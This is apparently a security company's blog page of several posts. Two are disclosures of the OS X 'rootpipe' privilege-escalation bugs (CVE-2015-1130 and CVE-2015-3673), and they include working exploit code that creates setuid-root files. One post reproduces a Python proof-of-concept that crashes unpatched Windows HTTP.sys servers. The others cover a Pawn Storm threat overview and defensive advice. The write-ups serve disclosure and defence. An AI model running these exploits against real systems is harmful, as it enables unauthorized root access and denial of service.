How to develop more secure software

My colleagues and I are inviting you to a conference day full of practical and eye-opening sessions aiming to make you develop more secure code.

For the second year, TrueSec invites you to a dedicated security day at Øredev. Our security experts Andreas Hallberg, Fabio Viggiani, Marcus Murray, and I will teach you all about the latest security threats that developers must know about, and how to avoid introducing security flaws in your code.

Join us & sign up here!

Untitled

Also, follow our engagement on Twitter @TrueSec_Se

Tagged with: , ,
Posted in General

Exploiting rootpipe again

Background and acknowledgement

This full disclosure is based on my discovery of a privilege escalation vulnerability in Apple OS X called rootpipe. Read my full disclosure on rootpipe here for some background info.

Big thanks to Patrick Wardle who inspired me to start new investigations, by saying that he found a way to re-abuse rootpipe after the patch in 10.10.3. When Apple released the details of OS X 10.10.4 yesterday, it turned out that we’ve both reported the same issue to them, CVE-2015-3673.

Apples fix in 10.10.3 was to require a special entitlement “com.apple.private.admin.writeconfig” for all binaries accessing the writeconfig XPC service that rootpipe uses. They didn’t change much in the interface of the XPC service. This means that entitled applications can still (among other things) write files with arbitrary path/permissions. Shortly after my full disclosure of rootpipe (when OS X 10.10.3 had been released), Patrick Wardle wrote on his blog that he found a way to re-abuse rootpipe even after the patch. This made me curious to investigate it a bit more.

Analysis

The entitlement check was somewhat limited, I guess everyone agreed on that (even Apple?). The XPC service is used by so many different parts of OS X. There are actually 45 binaries in my 10.10.3 system that has the entitlement! If I could make any of these execute the rootpipe exploit code, the fix by Apple could be bypassed. But I can’t modify an existing binary, since this would break the code signature. I can’t assign the entitlement to my own program, since the system only accepts Apple-signed binaries to hold it. I can’t inject new threads in an existing process without being root. This left me with only one option: Can I make an entitled binary load a library with my exploit code? It turns out that I can. Keep reading!

Here is a listing of all files that has the writeconfig entitlement:

/System/Library/CoreServices/Applications/Directory Utility.app/Contents/MacOS/Directory Utility
/System/Library/CoreServices/Applications/Directory Utility.app/Contents/PlugIns/Active Directory.daplug/Contents/MacOS/Active Directory
/System/Library/CoreServices/Applications/Directory Utility.app/Contents/PlugIns/BSD.daplug/Contents/MacOS/BSD
/System/Library/CoreServices/Applications/Directory Utility.app/Contents/PlugIns/LDAPv3.daplug/Contents/MacOS/LDAPv3
/System/Library/CoreServices/Applications/Directory Utility.app/Contents/PlugIns/NIS.daplug/Contents/MacOS/NIS
/System/Library/CoreServices/CoreLocationAgent.app/Contents/MacOS/CoreLocationAgent
/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder
/System/Library/CoreServices/ManagedClient.app/Contents/MacOS/ManagedClient
/System/Library/CoreServices/Setup Assistant.app/Contents/MacOS/Setup Assistant
/System/Library/PreferencePanes/Accounts.prefPane/Contents/XPCServices/com.apple.preferences.users.remoteservice.xpc/Contents/MacOS/com.apple.preferences.users.remoteservice
/System/Library/PreferencePanes/DateAndTime.prefPane/Contents/MacOS/DateAndTime
/System/Library/PreferencePanes/DateAndTime.prefPane/Contents/Resources/DateTime.prefPane/Contents/MacOS/DateTime
/System/Library/PreferencePanes/DateAndTime.prefPane/Contents/Resources/TimeZone.prefPane/Contents/MacOS/TimeZone
/System/Library/PreferencePanes/DateAndTime.prefPane/Contents/Resources/TimeZone.prefPane/Contents/Resources/AppleModemSettingTool
/System/Library/PreferencePanes/DateAndTime.prefPane/Contents/Resources/TimeZone.prefPane/Contents/Resources/TimeZoneAdminTool
/System/Library/PreferencePanes/DateAndTime.prefPane/Contents/Resources/TimeZone.prefPane/Contents/Resources/zset
/System/Library/PreferencePanes/DateAndTime.prefPane/Contents/XPCServices/com.apple.preference.datetime.remoteservice.xpc/Contents/MacOS/com.apple.preference.datetime.remoteservice
/System/Library/PreferencePanes/DesktopScreenEffectsPref.prefPane/Contents/Resources/ScreenEffects.prefPane/Contents/MacOS/ScreenEffects
/System/Library/PreferencePanes/EnergySaver.prefPane/Contents/XPCServices/com.apple.preference.energysaver.remoteservice.xpc/Contents/MacOS/com.apple.preference.energysaver.remoteservice
/System/Library/PreferencePanes/iCloudPref.prefPane/Contents/XPCServices/com.apple.preferences.icloud.remoteservice.xpc/Contents/MacOS/com.apple.preferences.icloud.remoteservice
/System/Library/PreferencePanes/InternetAccounts.prefPane/Contents/XPCServices/com.apple.preferences.internetaccounts.remoteservice.xpc/Contents/MacOS/com.apple.preferences.internetaccounts.remoteservice
/System/Library/PreferencePanes/Network.prefPane/Contents/XPCServices/com.apple.preference.network.remoteservice.xpc/Contents/MacOS/com.apple.preference.network.remoteservice
/System/Library/PreferencePanes/ParentalControls.prefPane/Contents/XPCServices/com.apple.preferences.parentalcontrols.remoteservice.xpc/Contents/MacOS/com.apple.preferences.parentalcontrols.remoteservice
/System/Library/PreferencePanes/PrintAndScan.prefPane/Contents/XPCServices/com.apple.preference.printfax.remoteservice.xpc/Contents/MacOS/com.apple.preference.printfax.remoteservice
/System/Library/PreferencePanes/Security.prefPane/Contents/XPCServices/com.apple.preference.security.remoteservice.xpc/Contents/MacOS/com.apple.preference.security.remoteservice
/System/Library/PreferencePanes/SharingPref.prefPane/Contents/XPCServices/com.apple.preferences.sharing.remoteservice.xpc/Contents/MacOS/com.apple.preferences.sharing.remoteservice
/System/Library/PreferencePanes/Speech.prefPane/Contents/XPCServices/com.apple.preference.speech.remoteservice.xpc/Contents/MacOS/com.apple.preference.speech.remoteservice
/System/Library/PreferencePanes/StartupDisk.prefPane/Contents/MacOS/StartupDisk
/System/Library/PreferencePanes/StartupDisk.prefPane/Contents/XPCServices/com.apple.preference.startupdisk.remoteservice.xpc/Contents/MacOS/com.apple.preference.startupdisk.remoteservice
/System/Library/PreferencePanes/TimeMachine.prefPane/Contents/XPCServices/com.apple.prefs.backup.remoteservice.xpc/Contents/MacOS/com.apple.prefs.backup.remoteservice
/System/Library/PreferencePanes/UniversalAccessPref.prefPane/Contents/XPCServices/com.apple.preference.universalaccess.remoteservice.xpc/Contents/MacOS/com.apple.preference.universalaccess.remoteservice
/System/Library/PrivateFrameworks/AOSKit.framework/Versions/A/XPCServices/com.apple.iCloudHelper.xpc/Contents/MacOS/com.apple.iCloudHelper
/System/Library/PrivateFrameworks/SpeechObjects.framework/Versions/A/SpeechDataInstallerd.app/Contents/MacOS/SpeechDataInstallerd
/System/Library/PrivateFrameworks/SystemAdministration.framework/Versions/A/Resources/UpdateSettingsTool
/System/Library/PrivateFrameworks/SystemMigration.framework/Versions/A/Resources/systemmigrationd
/System/Library/SystemProfiler/SPFirewallReporter.spreporter/Contents/MacOS/SPFirewallReporter
/System/Library/UserEventPlugins/AutoTimeZone.plugin/Contents/MacOS/AutoTimeZone
/System/Library/UserEventPlugins/locationd.events.plugin/Contents/MacOS/locationd.events
/usr/bin/tmutil
/usr/libexec/findmydeviced
/usr/libexec/locationd
/usr/sbin/networksetup
/usr/sbin/sysadminctl
/usr/sbin/systemsetup
/usr/sbin/unsetpassword

Note that /usr/sbin/systemsetup, which partly lead to the initial discovery of rootpipe, is in the list.

I looked through a few of them in Hopper, ending up with “Directory Utility”.

Loading it in Hopper, revealed the following method (called when Directory Utility is started):

void -[PluginController loadPlugins](void * self, void * _cmd) {
    r14 = *objc_msgSend;
    [self loadPluginsInDirectory:[[NSBundle mainBundle] builtInPlugInsPath]];
    rax = [self loadPluginsInDirectory:@"/Library/Application Support/Directory Utility/PlugIns/"];
    return;
}

Turns out that Directory Utility will read plugin binaries (as bundles) from two different paths, one under /Library and one within the Directory Utility bundle. I would need root in order to write to these locations. But if I copy the entire Directory Utility bundle to tmp directory, I will get write permission – while the code signature and assigned entitlements will remain.

Here’s a listing of the PlugIns directory of the bundle:

$ ls -l "/System/Library/CoreServices/Applications/Directory Utility.app/Contents/PlugIns/"
total 0
drwxr-xr-x  3 root  wheel  102 Sep 10  2014 Active Directory.daplug
drwxr-xr-x  3 root  wheel  102 Sep 10  2014 BSD.daplug
drwxr-xr-x  3 root  wheel  102 Sep 10  2014 LDAPv3.daplug
drwxr-xr-x  3 root  wheel  102 Sep 10  2014 NIS.daplug

$ cp -R /System/Library/CoreServices/Applications/Directory\ Utility.app /tmp/

$ ls -l /tmp/Directory\ Utility.app/Contents/PlugIns/
total 0
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 Active Directory.daplug
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 BSD.daplug
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 LDAPv3.daplug
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 NIS.daplug

Note the change of ownership, which means we can write to this directory.

Running the rootpipe exploit code

You’ll find my sample exploit code below. I compiled this as a bundle. The bundle name has to have the .daplug suffix and be placed in the PlugIns directory.

#include <dlfcn.h>
#include <objc/objc.h>
#include <objc/runtime.h>
#include <objc/message.h>
#include <Foundation/Foundation.h>

#define PRIV_FWK_BASE "/System/Library/PrivateFrameworks"
#define FWK_BASE "/System/Library/Frameworks"

void __attribute__ ((constructor)) test(void)
{
    void* p = dlopen(PRIV_FWK_BASE "/SystemAdministration.framework/SystemAdministration", RTLD_NOW);

    if (p != NULL)
    {
        id sharedClient = objc_msgSend(objc_lookUpClass("WriteConfigClient"), @selector(sharedClient));
        objc_msgSend(sharedClient, @selector(authenticateUsingAuthorizationSync:), nil);
        id tool = objc_msgSend(sharedClient, @selector(remoteProxy));

        NSData* data = [NSData dataWithContentsOfFile:@"/tmp/source"];
        
        objc_msgSend(tool, @selector(createFileWithContents:path:attributes:),
                     data,
                     @"/tmp/target",
                     @{ NSFilePosixPermissions : @04777 });
    }
}

Here’s a new listing of the PlugIns directory after copying my exploit bundle there:

$ ls -l /tmp/Directory\ Utility.app/Contents/PlugIns/
total 0
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 Active Directory.daplug
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 BSD.daplug
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 LDAPv3.daplug
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 NIS.daplug
drwxr-xr-x@ 3 emil  wheel  102 Jul  1 00:05 RootpipeBundle.daplug

Launching the “Directory Utility” in the tmp directory will load the RootpipeBundle immediately and execute the exploit code. The exploit code will copy a file from /tmp/source to /tmp/target. The new file will have root as owner and setuid bit set.

$ ls -l /tmp/
total 0
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 Directory Utility.app
-rw-r--r--  1 emil  wheel    1 Jul  1 00:04 source
-rwsrwxrwx  1 root  wheel    1 Jul  1 00:11 target

Summary

The fix Apple made for Rootpipe in 10.10.3 was insufficient. Any user in the system (including the guest account) could still exploit the same XPC service functionality to escalate privileges to root.

There are still many binaries that are entitled to communicate with the XPC service. I haven’t had time to search all these for additional vectors to execute code. Apple made more changes in OS X 10.10.4, for instance limiting what directories the entitled binaries may execute from. This means that copying an entitled binary to a tmp directory no longer works.

Timeline

  • April 8th 2015: Release of OS X 10.10.3
  • April 9th 2015: Rootpipe Full disclosure
  • April 18th 2015: Patrick Wardle writes about his discovery
  • April 27th 2015: Notified Apple about my discovery
  • June 30th 2015: Release of OS X 10.10.4
  • July 1st 2015: Full disclosure of CVE-2015-3673
Tagged with: , ,
Posted in General

Pawn storm – Oldest tricks in the book and we’re still falling for them

Unless you are well-versed in the world of IT-security you might not know what Pawn Storm refers to, or you might think it is a chess tactic. Pawn Storm is an espionage operation started by an unknown group of individuals around 2007. The operation mainly targets government and military related organizations from the United States and their allies, directly or indirectly. There are some reports that the group has been aiming its attacks on people opposing the Kremlin as well as Ukrainian activists and military. This leads to speculations that the group is operating from Russia with a possible connection to the Russian government. Main targets are directly attacked through a number of common attacks or indirectly by attacking anyone who is related to the main target. A good example is a group of bloggers who were targeted in attacks just a few days after they had interviewed President Barack Obama. This is a common way to get to a target by broadening your area of attack and finding a weak link in the chain of individuals or organizations that are somehow related. One target was a company that sells nuclear fuel to power stations. So one can quickly see how this operation can become dangerous rather fast. The targets have mainly been military, government and media in the United States.

It was recently discovered that the group might have been preparing for a large-scale spear phishing campaign against financial institutions during June last year. According to the latest reports, it’s unclear if the campaign has started yet. But, when and if it does it will most likely be based on different spear phishing attacks against banks around the world.

The group has so far mainly been seen to use three different types of tactics in their attacks.

  • Spear phishing emails with different attachments made specifically for the current target. An example is if the target was a Bank then the attachment might be an Excel with a transaction history. The content of the file would look legit to not raise too much suspicion. Different exploits would be used with these files that would deliver different payloads. The group seems to mainly use a backdoor called Sednit or Sofacy.
  • Large networks of phishing sites that would try to get the user to enter credentials to different accounts. One of these examples includes fake OWA login pages that are sent to employees of targeted organizations. If they are tricked to enter their credentials then these credentials will be stolen and can be used later to gain further access into systems.
  • Exploits embedded in legitimate websites. These attacks are known as drive-by attacks that usually exploit browser,  java- or flash plugin vulnerabilities to drop payloads on a visitor’s machine.

According to the security researchers that discovered these attacks and wrote the different reports that I have read through, the organizations, groups, companies etc. that they have found to be targets in this operation have all been notified about this. But that doesn’t mean that everyone who is an actual target has been. There also might be other operations being planned +(,) where new targets are being explored.

So, how would organizations protect against these attacks? These attacks are the same old attacks as we’ve always seen, just in a very large scale and very well thought through. They are carried out using social engineering techniques and the quite correct assumption that no one updates any software. Also, of course, as this operation most certainly makes use of zero day vulnerabilities it might be difficult to protect against it. Patches may not exist or may not get out in time after the first attacks have been discovered.

In the case of malware and malicious links being sent via email in spear phishing attempts I would say that:

  • Acting with caution when reading emails.
  • Being suspicious by default.
  • Security training and some new company policies could be put in place.

Even if anti-virus and different filters are used as protection, the risk is still high. Only one email has to get through to trick some poor employee into giving the Pawn Storm individuals access to the internal network (an anti-virus won’t catch a malware with a new signature and carefully written methods of operation). Teaching employees about what kind of emails to trust and what not to trust is a good start. If they are not expecting an Excel sheet about transaction histories between two gentlemen in a German town then they should probably not open it. If an organization needs to receive attachments via email in the form of Excel sheets or PDF-files it can be tricky to protect against attacks depending from what kind of sources you would expect to get mail from (like the example with the two Gentlemen in a German town if you are in fact working for a small very local company in New Zealand). One thing you could do in a situation like this is to keep everything updated, from Operating System to software that are in use (Like Adobe and Microsoft Office).

The same principles applies to getting emails with strange links that at first seem legitimate. The countermeasures mentioned above apply here as well. Another countermeasure here could be to teach employees to look closely at the link they are about to click. Usually hovering over it will reveal if the link goes somewhere else than what it says. If they can’t recognize the URL then it shouldn’t be clicked. An alternative that works on Android is to “press-and-hold” on the link to reveal where it points to (This might of course be problematic in the way that some people might then press and activate the link by mistake then instead).

 

pawnstorm_legmail

 

 

 

 

 

 

If they still click the link and from there want to verify the page they could again have a look at the address they were taken to, for instance looking closely at the spelling of the address (Making sure it’s example.com instead of examplex.com). Alternatively they can be taught to take a look at the little icon next to the URL in the browser that indicates if the connection is secure and trusted. This of course requires the organization that owns the website to always use SSL on all important web resources so that one can always assume that the icon should be there.

 

pawnstorm_legsite

 

 

 

 

 

 

 

In the case of Firefox which was the browser used in the example above, more information can be found via the link below. Don’t forget to check where you end up ;).

https://support.mozilla.org/en-US/kb/how-do-i-tell-if-my-connection-is-secure?as=u&utm_source=inproduct

The drive-by downloads which is the third main method used by the group can be hard to protect against if the organization requires applications running Java or Flash in the browser, as these two are most commonly used to drop the payloads due the large amount of vulnerabilities found in these two solutions. Javascript can also be used to carry out different attacks. Amongst these, browser exploits can sometimes be utilized. However, Javascript is usually harder to turn off than Java and Flash in the browser due to so many websites today that depend on it to function properly. I however, recommend to remove Java and Flash in the browser if not used, and if possible plugins such as NoScript can be used to only allow a small amount of websites to execute Javascript in the browser. If none of these can be removed then the best alternative would be to keep browser, plugins, Java and flash updated at all times.

To summarize, the problems at their core are the same as usual. Software will most likely always contain vulnerabilities and thus users need to become more careful and be reminded to not trust what ends up in their inbox, even if it looks very legitimate and tempting to open. If in doubt, ask your helpdesk or head of security. Not everyone has a head of security, in which case you could contact an IT-security consultant about the matter. Now, people can’t really be expected to call someone every time they get a strange email with suspicious content. That’s why the different levels of countermeasures need to be taken to prevent this type of directed attack.

Another problem to be taken into consideration is the rest of the organization’s infrastructure. There could be servers being exposed to the Internet, which contain vulnerabilities that could be used to gain access to the internal network. In this case the attacking group would simply need to place more focus on a single target and expand their methods of attacking to discover new ways to get inside of the network. Therefore, it’s always important to review security in the organization often.

There are many things that need to be taken into consideration when building up a defense against these attacks. The recommendations in this article can be thought of as a pretty good starting point – or extensions to the security implementation that already exist within an organization.

 

References

http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-ramps-up-its-activities-targets-nato-white-house/

http://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/pawn-storm-espionage-attacks-use-decoys-deliver-sednit

Tagged with: , ,
Posted in General, Hacking

Keep your Windows servers patched

Unlike Heartbleed and Shellshock, this vulnerability hasn’t gotten much attention.
And so far it “only” results in a denial of service by crashing unpatched servers.

The new vulnerability found (and patched) in HTTP.sys in Windows is super simple to exploit to crash a server. It affects Windows 7 SP1, Windows Server 2008 R2 SP1, Windows 8, Windows 8.1 and Windows Server 2012 Gold/R2. And it has the potential to be used to execute arbitrary code on the target server. Although no such Proof-Of-Concept has been released in public yet, who knows what’s going on in the not so public parts of the Internet?

There are however a few PoC examples released already, and one of them can be used without any modification to crash a vulnerable server.

https://www.exploit-db.com/exploits/36776/

#Tested on Win Srv 2012R2.
import socket,sys
 
if len(sys.argv)<=1:
 sys.exit('Give me an IP')
Host = sys.argv[1]
def SendPayload(Payload, Host):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((Host, 80))
   s.send(Payload)
   s.recv(1024)
   s.close()
#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"
SendPayload(Init, Host)
SendPayload(Payload, Host)

Upon testing the code above on a few of my test servers, they crashed immediately.
During some of the tests the servers didn’t even have time to save a crash dump.

 

Patch your servers!

References
https://www.exploit-db.com/exploits/36776/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635

Tagged with: , , , ,
Posted in Hacking

OS X 10.10.3 still vulnerable

I just wanted to notify our readers interested in OS X security about a new finding that Patrick Wardle has made. He stated in his blog that he’s able to exploit rootpipe on a fully patched OS X 10.10.3!

If you are interested in the details of the patch Apple made, read all details in the writeup by @osxreverser here.

Check out his blog for more info (no details – responsible disclosure, remember). There are a couple of possible approaches that could work to circumvent the entitlement checks Apple added in 10.10.3. But let’s wait for a patch from Apple before we speculate more in public.

Tagged with: , , ,
Posted in Hacking

Hidden backdoor API to root privileges in Apple OS X

TL;DR

The Admin framework in Apple OS X contains a hidden backdoor API to root privileges. It’s been there for several years (at least since 2011), I found it in October 2014 and it can be exploited to escalate privileges to root from any user account in the system.

The intention was probably to serve the “System Preferences” app and systemsetup (command-line tool), but any user process can use the same functionality.

Apple has now released OS X 10.10.3 where the issue is resolved. OS X 10.9.x and older remain vulnerable, since Apple decided not to patch these versions. We recommend that all users upgrade to 10.10.3.

Why I started searching for vulnerabilities in OS X

TrueSec specialists speak at IT conferences worldwide. I wanted to have something new to demo at a Security Conference for Developers in November 2014. I’ve done many proof-of-concept hacks on iOS and Android before, to highlight what malicious code can achieve with vulnerable devices.

This time it was a security conference for developers, and many of them use Apple OS X as their primary operating system. I wanted to show that OS X could be hacked just as easily as iOS or Android. Operating systems are built out of software, developers create this software, developers make mistakes, and mistakes can introduce security vulnerabilities. I wanted to highlight that all software (yeah, even from Apple) contains vulnerabilities, and many are still to be discovered.

Building a nice demo

The first exploit I used was based on CVE-2013-1775, a sudo authentication bypass bug that was patched in version 10.8.5 (Sept 2013). It felt boring that the vulnerability was more than a year old. The exploit code is very simple:

$ sudo -k;systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su

I talked to my colleague and software developer Philip Åkesson, about the fact that this exploit code uses systemsetup (command line utility) to modify the system time. We were both curious to find out the details of the fix. It turned out that, apart from patching sudo, Apple also changed another thing. They changed so that systemsetup requires root, even to display the help text! When systemsetup is run without root access, the following message is displayed (in 10.8.5 or later):

$ systemsetup
You need administrator access to run this tool... exiting!

This message is a bit misleading, since we are actually running this as an admin user. The user account created during installation of OS X will be admin by default. This is something that I think most OS X users don’t care much about, since sudo and application installation requires password input.

Anyway, the message above indicates that root access is now required to perform the commands (which previously could be done with admin rights).

I found the following code through a quick disassembly in Hopper:

Pic1

Okay, so the systemsetup binary simply checks if we are running as the root user?

Philip tried patching that function (replacing sete with setne), with success:

$ systemsetup
> systemsetup
> type -help for help.

But so far, we’re only back to the previous behavior of systemsetup (prior to 10.8.5). One example of the commands you can perform with systemsetup is:

$ systemsetup –setremotelogin on

This will enable ssh server on port 22. You can of course also start ssh through launchctl, but launchctl would then require root privileges. So there’s obviously a difference in privileges required! The class name RemoteServerSettings indicates that there’s some kind of interprocess communication, this would explain why operations that require root could be performed. Still, it’s worth mentioning that SSH can also be started through System Preferences (Sharing) without root access.

But I found this discrepancy in permissions interesting, and continued disassembling systemsetup.

The setremotelogin command is implemented in systemsetup as a method called [ServerSettings setRemoteLogin:].

The function does some input checking, and then calls [InternetServices setSSHServerEnabled:]. This is implemented in the Admin framework (used by systemsetup). Disassembly of the Admin framework shows that setSSHServerEnabled is not the only method of the InternetServices interface. There are also methods for starting/stopping many other services. Here’s a listing:

+[InternetServices sharedInternetServices]
+[InternetServices sharedInternetServices].sSharedInternetServices
-[InternetServices _netFSServerFrameworkBundle]
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundle
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundleOnce
-[InternetServices faxReceiveEnabled]
-[InternetServices ftpServerEnabled]
-[InternetServices httpdEnabled]
-[InternetServices isFTPServerAvailable]
-[InternetServices isFaxReceiveAvailable]
-[InternetServices isGuestForProtocolEnabled:]
-[InternetServices isHttpdAvailable]
-[InternetServices isNSCProtocolAvailable:]
-[InternetServices isNSCProtocolEnabled:]
-[InternetServices isNSServerShuttingDown:]
-[InternetServices isOpticalDiscSharingEnabled]
-[InternetServices isRemoteAEServerAvailable]
-[InternetServices isSSHServerAvailable]
-[InternetServices nscServerCancelShutdown:refNum:]
-[InternetServices nscServerShutdown:withDelay:]
-[InternetServices numberOfClientsForProtocols:]
-[InternetServices remoteAEServerEnabled]
-[InternetServices saveNatPrefs:]
-[InternetServices screensharingEnabled]
-[InternetServices sendSIGHUPToEfax]
-[InternetServices setFTPServerEnabled:]
-[InternetServices setFaxReceiveEnabled:]
-[InternetServices setGuestForProtocol:enabled:]
-[InternetServices setHttpdEnabled:]
-[InternetServices setInetDServiceEnabled:enabled:]
-[InternetServices setNSCProtocols:enabled:]
-[InternetServices setOpticalDiscSharingEnabled:]
-[InternetServices setRemoteAEServerEnabled:]
-[InternetServices setSSHServerEnabled:]
-[InternetServices setScreensharingEnabled:]
-[InternetServices sshServerEnabled]
_OBJC_CLASS_$_InternetServices
_OBJC_METACLASS_$_InternetServices
___47-[InternetServices _netFSServerFrameworkBundle]_block_invoke

Some of these, like setHttpdEnabled and setSSHServerEnabled are implemented using a shared helper method [ADMInternetServices setInetDServiceEnabled:enabled:].

I read more of the code inside Admin framework, but stopped at the following code:

UserUtilities_createFileWithContents

This seems to be the code that creates a user-specific apache configuration file for guest accounts (notice that root is owner of this file):

$ ls -l /etc/apache2/users/
total 8
-rw-r--r-- 1 root wheel 139 Apr 1 05:49 std.conf

A hidden backdoor API to root access is revealed

The last Objective-C method that was called in the code screenshot above is createFileWithContents:path:attributes:. It takes an array of bytes (the data to write), a file path and POSIX file attributes.

Re-using this function from my own Objective-C code would look something like this:

[tool createFileWithContents:data
                        path:[NSString stringWithUTF8String:target]
                  attributes:@{ NSFilePosixPermissions : @0777 }];

The question is how we can get hold of the magic “tool” reference. If we look in the beginning of the code screenshot, the code corresponds to this:

id sharedClient =
    [objc_lookUpClass("WriteConfigClient") sharedClient];
id tool = [sharedClient remoteProxy];

Is it really that simple? No! 🙂 But we are getting there. I tried doing this in my own code, but got the following error:

### Attempt to send message without connection!

The next thing to do was finding where this error message is printed:

 SystemAdministration-1e25d

OK, so this is a check to verify that the XPC proxy within my process is initiated. Let’s look at the ocurrences of _onewayMessageDispatcher to locate the initialization code:

_onewayMessageDispatcher

The authenticateUsingAuthorization method is where the actual initialization takes place:

authenticateUsingAuthorization

This is exactly what I needed. This is creating an XPC client to the writeconfig XPC service and that service is running as root.

ActivityMon-writeconfig

The only question was what I should send as argument to authenticateUsingAuthorization? I went back to the systemsetup binary again and found the following:

RemoteServerSettings_authenticate

It seems like the result of [SFAuthorization authorization] could do the trick. Here’s my modified exploit code, ready for a new attempt:

id auth = [objc_lookUpClass("SFAuthorization") authorization];
id sharedClient =
    [objc_lookUpClass("WriteConfigClient") sharedClient];
[sharedClient authenticateUsingAuthorizationSync: auth];
id tool = [sharedClient remoteProxy];

[tool createFileWithContents:data
                        path:[NSString stringWithUTF8String:target]
                  attributes:@{ NSFilePosixPermissions : @04777 }];

Note that I’m using a Sync-variant of authenticateUsingAuthorization with the same functionality and set the POSIX file permissions to 4777. The file is finally created, and setuid bit is set:

-rwsrwxrwx 1 root wheel 25960 Apr 1 19:29 rootpipe.tmp

Since the setuid bit is set and owner is root, we have a privilege escalation.

My first exploit code was for 10.7.x and 10.8.x, where class and method names are slightly different. The names used above are for 10.9 and later.

There’s still a limitation with the exploit code, it only works for users with admin permissions. As I mentioned earlier, almost all OS X users are admin (since OS X users often are single user systems). Before reporting the issue to Apple, I tried with a standard account, and got the following error message:

### authenticateUsingAuthorizationSync error:Error Domain=com.apple.systemadministration.authorization Code=-60007 "The operation couldn’t be completed. (com.apple.systemadministration.authorization error -60007.)"

But I actually found a way to make it work for all users later, which means that the exploit is no longer limited to admin accounts only. It is as simple as sending nil to authenticateUsingAuthorizationSync instead of using the result of [SFAuthorization authorization]:

[sharedClient authenticateUsingAuthorizationSync: nil];

It seems like the authorization checks are made by triggering callback functions on the auth-object supplied. For those of you who are not Objective-C programmers: Guess what happens if you call methods on a null reference – or to use Objective-C language, send a message to nil? Nothing! 🙂

Conclusion and recommendation

The Admin framework in Apple OS X contained a hidden backdoor API to root access for several years (at least since 2011, when 10.7 was released). The intention was probably to serve the “System Preferences” app and systemsetup (command-line tool), but there is no access restriction. This means the API is accessible (through XPC) from any user process in the system.

This is a local privilege escalation to root, which can be used locally or combined with remote code execution exploits.

Apple indicated that this issue required a substantial amount of changes on their side, and that they will not back port the fix to 10.9.x and older.

Our recommendation to all OS X users out there: Upgrade to 10.10.3 (or later).

Rootpipe Full Disclosure live walkthrough, and much more…

I will explain all details of the rootpipe vulnerability in my session at Security Conference 2015, May 28 in Stockholm, Sweden. You’ll see live on stage how attackers find vulnerabilities in your code, even if they only have access to binaries. My colleagues will present other cool stuff that developers should know about, focusing on security threats and how to write secure code. Visit www.securityconf.se for more info.

Timeline

  • Oct 2nd 2014: First discovery
  • Oct 3rd 2014: First contact with Apple Product Security Team
  • Oct 14th 2014: Exploit code shared with Apple
  • Oct 24th 2014: Initial full disclosure date set to Jan 12th 2015
  • Oct 16th 2014: Release of OS X 10.10 Yosemite, vulnerable to rootpipe
  • Nov 14th 2014: Apple requested to postpone disclosure
  • Nov 17th 2014: Release of OS X 10.10.1, also vulnerable
  • Jan 12th 2015: Joint decision between Apple and TrueSec to postpone disclosure due to the amount of changes required in OS X
  • Jan 16th 2015: CVE-2015-1130 created by Apple
  • Jan 27th 2015: Release of OS X 10.10.2, also vulnerable
  • March 2nd 2015: Release of OS X 10.10.3 public beta, issue solved
  • April 1st 2015: Apple confirmed that release is coming the second week of April
  • April 8th 2015: Release of OS X 10.10.3
  • April 9th 2015: Full disclosure

Exploit code

########################################################
#
#  PoC exploit code for rootpipe (CVE-2015-1130)
#
#  Created by Emil Kvarnhammar, TrueSec
#
#  Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool

def load_lib(append_path):
    return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);

def use_old_api():
    return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])


args = sys.argv

if len(args) != 3:
    print "usage: exploit.py source_binary dest_binary_as_root"
    sys.exit(-1)

source_binary = args[1]
dest_binary = os.path.realpath(args[2])

if not os.path.exists(source_binary):
    raise Exception("file does not exist!")

pool = NSAutoreleasePool.alloc().init()

attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)

print "will write file", dest_binary

if use_old_api():
    adm_lib = load_lib("/Admin.framework/Admin")
    Authenticator = objc.lookUpClass("Authenticator")
    ToolLiaison = objc.lookUpClass("ToolLiaison")
    SFAuthorization = objc.lookUpClass("SFAuthorization")

    authent = Authenticator.sharedAuthenticator()
    authref = SFAuthorization.authorization()

    # authref with value nil is not accepted on OS X <= 10.8
    authent.authenticateUsingAuthorizationSync_(authref)
    st = ToolLiaison.sharedToolLiaison()
    tool = st.tool()
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
    adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
    WriteConfigClient = objc.lookUpClass("WriteConfigClient")
    client = WriteConfigClient.sharedClient()
    client.authenticateUsingAuthorizationSync_(None)
    tool = client.remoteProxy()

    tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)


print "Done!"

del pool
Tagged with: , ,
Posted in Hacking

JellyShelly – Hiding code in ImageJpeg processed images

I wrote this article for my own blog as well as a TrueSec newsletter some time ago. Now that we have a dev blog I thought it would be a good idea to republish this article with some new content. This time I’ll include some PoC code as well.

